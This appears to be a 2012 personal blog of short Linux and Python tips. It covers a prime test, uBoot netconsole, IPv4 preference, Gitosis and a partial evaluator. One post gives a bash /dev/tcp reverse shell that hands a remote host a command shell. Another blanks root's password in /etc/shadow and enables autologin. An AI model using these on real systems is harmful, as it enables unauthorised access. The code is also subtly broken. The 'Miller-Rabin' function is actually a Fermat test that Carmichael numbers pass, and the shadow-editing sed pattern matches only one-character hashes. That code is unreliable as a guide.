onsdag 19 december 2012

Python is_prime using Miller-Rabin


from random import randrange

def is_prime(n, trials=6):
    """ Miller-Rabin probabilistic prime test.
    """
    if n < 2:
        return False
    i = 0
    while i < trials:
        i+=1
        a = randrange(1, n)
        if pow(a, n-1, n) != 1: # (a**(n-1)) % n
            return False
    return True

# or as a tiny-font-one-liner


def is_prime(n, trials=6):
    return n >= 2 and (trials == 0 or (pow(randrange(1, n), n-1, n) == 1 and is_prime(n, trials - 1)))

onsdag 12 december 2012

uboot pogoplug netconsole

I used this tip to set up my pogoplug to send the uBoot prompt
via udp to my laptop
(see: Use netconsole to troubleshoot uBoot without a serial cable
 http://forum.doozan.com/read.php?3,14,14)

Now, to get the boot prompt from pogoplug (192.168.1.74) to my laptop (192.168.1.72)
I do (on my laptop)


ifconfig en0 alias 192.168.1.72 255.255.255.0

to set an ip alias (remove with -alias), and then

nc -lu 192.168.1.72 6666 & nc -u 192.168.1.74 6666

to communicate with the pogoplug.


tisdag 18 september 2012

Make linux prefer IPv4 connections

Sometimes a DNS name resolves to both an IPv6 and and IPv4 address.  How do you force a program to choose for instance IPv4 over IPv6.

The answer is to change the file /etc/gai.conf which controls the getaddrinfo() (see man gai.conf)

For instance, append


precedence ::ffff:0:0/96  100
at the end of /etc/gai.conf to give high priority to A records.  The filters can also be more specific and made to apply only to specific addresses or subnets.  It doesn't seem to be able to change on a per-process basis with this approach (and of course it requires you to have root privileges to modify /etc/gai.conf).

Thanks to Lmwangi at http://unix.stackexchange.com/questions/9940/convince-apt-get-not-to-use-ipv6-method



tisdag 4 september 2012

Passwordless account

To create a user with an empty password, the user must first exist in /etc/passwd and /etc/shadow.

The hash of the empty password is U6aMy0wojraho (0 is a zero...) and it should be entered in the second field in the row in /etc/shadow, for instance with

sed -i 's/^root:[^:]:/root:U6aMy0wojraho:/' /etc/shadow

or usermod, or you create a new user with

useradd myuser -p U6aMy0wojraho


To have a terminal (for instance the terminal on the serial port) automatically login without password, add

--autologin root

after the ttyS0 getty entry in /etc/inittab or in the file /etc/init/ttyS0.conf on ubuntu.

Remote shell via bash /dev/tcp socket pipes

On the local machine, listen to a port with nc

nc -l 8080


On the remote machine, connect the tcp connection to a file descriptor, i.e. 4 and connect a bash to it that is using that file descriptor as input and output, and also send stderr to the pipe (it's easier if one can see the error messages).

exec 4<>/dev/tcp/local.machine.com/8080
bash <&4 >&4 2>&4

Now the local machine can issue commands on the remote machine.

Note that /dev/tcp is something that bash makes up, it is not in /dev.

måndag 30 januari 2012

Partial evaluation and tracing example 1 in python


# Partial Evaluation
# http://morepypy.blogspot.com/2012/01/comparing-partial-evaluation-and.html

blocks = {
  "power": ("op1", "res", "same", ("const", 1),
             ("if", "y", "power_rec", "power_done")),
  "power_rec": ("op2", "res", "mul", ("var", "res"), ("var", "x"),
                ("op2", "y", "sub", ("var", "y"), ("const", 1),
                 ("if", "y", "power_rec", "power_done"))),
  "power_done": ("print_and_stop", ("var","res"))
}

def resolve(x, env):
    if x[0] ==  "const": return x[1]
    elif x[0] == "var": return env[x[1]]

def interp(block, env):
    while block:
        if block[0] == "op1":
            _, var, op, arg, next = block
            env[var] = do_op(op, env, resolve(arg, env))
        elif block[0] == "op2":
            _, var, op, arg1, arg2, next = block
            a1 = resolve(arg1, env)
            a2 = resolve(arg2, env)
            env[var] = do_op(op, env, a1, a2)
        elif block[0] == "jump":
            next = blocks[block[1]]
        elif block[0] == "print_and_stop":
            next = None
            print resolve(block[1], env)
        elif block[0] == "if":
            _, var, tbranch, fbranch = block
            if env[var]:
                next = blocks[tbranch]
            else:
                next = blocks[fbranch]
        block = next

def do_op(op, env, *arg):
    if op == "same":
        return arg[0]
    elif op == "mul":
        return arg[0] * arg[1]
    elif op == "sub":
        return arg[0] - arg[1]

# run the interpreter
interp(blocks["power"], dict(x=5, y=3))

######################################################################

def plookup(key, env):
    return  ("const", env[key]) if key in env else ("var", key)

def presolve((tag, val), env):
    return ("const", val) if tag == "const" else plookup(val, env)

def pe(block,env):
    if block[0] == "op1":
        _, var, op, arg, next = block
        (tag, val) = presolve(arg, env)
        if tag == "const":
            env[var] = do_op(op, env, val)
            return pe(next, env)
        else:
            del env[var]
            newnext = pe(next, env)
            return ("op1", var, op, (tag, val), newnext)
    elif block[0] == "op2":
        _, var, op, arg1, arg2, next = block
        (tag1, val1) = presolve(arg1, env)
        (tag2, val2) = presolve(arg2, env)
        if tag1 == "const" and tag2 == "const":
            env[var] = do_op(op, env, val1, val2)
            return pe(next, env)
        else:
            if var in env: del env[var]
            newnext = pe(next, env)
            return ("op2", var, op, (tag1, val1), (tag2, val2), newnext)
    elif block[0] == "jump":
        return ("jump", do_pe(block[1], env))
    elif block[0] == "print_and_stop":
        return ("print_and_stop", presolve(block[1],env))
    elif block[0] == "if":
        _, var, tbranch, fbranch = block
        (tag, val) = plookup(var, env)
        if tag == "const":
            b = do_pe(tbranch if val else fbranch, env)
            return ("jump", b)
        else:
            tb = do_pe(tbranch, env)
            fb = do_pe(fbranch, env) 
            return ("if", (tag, val), tb, fb)

code_cache = []

def do_pe(label, env):
    for k, newlabel in code_cache:
        if k == (label, env): 
            return newlabel
    newlabel ="%s_%d" % (label, len(code_cache))
    code_cache.append( ((label,env.copy()), newlabel) )
    blocks[newlabel] = pe(blocks[label], env)
    return newlabel

# generate a new specialized program
pe_label = do_pe("power", dict(y=5))
# run the specialized program
interp(blocks[pe_label], dict(x=5))


onsdag 25 januari 2012

Gitosis

Adapted from http://blog.agdunn.net/?p=277


pacman -S git-core setuptools
useradd --home-dir=/media/STORAGE/git --create-home --system git
su -l git

git clone git://eagain.net/gitosis.git
cd ~/gitosis
patch gitosis/ssh.py <<EOF
37c37
<     TEMPLATE=('command="gitosis-serve %(user)s",no-port-forwarding,'
---
>     TEMPLATE=('command=".local/bin/gitosis-serve %(user)s",no-port-forwarding,'
EOF
patch gitosis/templates/admin/hooks/post-update <<EOF
3c3
< gitosis-run-hook post-update
---
> ~/.local/bin/gitosis-run-hook post-update
EOF
git commit -a -m 'Adapt Gitosis for being installed with python setup.py install --user' --author 'Lars Rasmusson <Lars.Rasmusson@gmail.com>'
python2.7 setup.py install --user

~/.local/bin/gitosis-init  
[ paste your public ssh key and press CTRL-D ]

chmod u+x ~/repositories/gitosis-admin.git/hooks/post-update

Now you can clone the repository gitosis-admin.git from the server using

git clone git@servername:gitosis-admin.git


To add a user with pubkey file username.pub


cp username.pub gitosis-admin/keydir/
(cd gitosis-admin; git commit keydir -m 'added user'; git push)

To give the user access to a repository, add him to a group
(or create a new group for him), and add the repository name
to the ‘writable’ list for that group in gitosis-admin/gitosis.conf